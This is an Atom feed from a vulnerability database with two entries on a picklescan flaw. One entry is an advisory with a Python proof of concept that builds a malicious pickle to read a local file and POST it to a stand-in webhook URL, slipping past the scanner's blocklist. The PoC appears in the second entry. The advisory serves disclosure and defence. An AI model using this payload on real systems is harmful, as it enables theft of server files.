<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-15T21:02:09.049701+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/cve-2026-53872</id>
    <title>CVE-2026-53872 — picklescan - Arbitrary File Read via Unsafe Pickle Deserialization</title>
    <updated>2026-10-15T21:02:09.085378+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> picklescan</p>
<p>picklescan before 0.0.35 contains an unsafe pickle deserialization vulnerability allowing unauthenticated attackers to read arbitrary server files by chaining io.FileIO and urllib.request.urlopen. Attackers can bypass RCE-focused blocklists to exfiltrate sensitive data like /etc/passwd to external servers.</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/cve-2026-53872"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/pysec-2026-1787</id>
    <title>PYSEC-2026-1787 — picklescan has Arbitrary file read using `io.FileIO`</title>
    <updated>2026-10-15T21:02:09.085443+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: picklescan</p>
<p>### Summary
Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.</p>
<p>### Details
The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:</p>
<p>1. io.FileIO: Opens local files without using builtins.open.</p>
<p>2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request.</p>
<p>3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling.</p>
<p>### PoC</p>
<p>```python
import pickle, io, urllib.request</p>
<p>class GetFile:
    def __reduce__(self):
        return (io.FileIO, ('/etc/hosts', 'r'))</p>
<p>class Exfiltrate:
    def __reduce__(self):
        return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile()))</p>
<p>with open("bypass_http.pkl", "wb") as f:
    pickle.dump(Exfiltrate(), f)
```</p>
<p>&lt;img width="650" height="114" alt="Screenshot 2025-12-30 at 10 13 14 PM" src="https://github.com/user-attachments/assets/4edf9640-80f6-4701-ae87-cff1079e2994" /&gt;</p>
<p>### Impact</p>
<p>- Arbitrary file read</p>
<p>Thanks for this library and your time. If you think `picklescan` is focused on detecting only `RCE` kind of vulnerabilities rather adding `File IO`, `Http` or any protocol based may cause lot of noise, feel free to close th…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/pysec-2026-1787"/>
  </entry>
</feed>
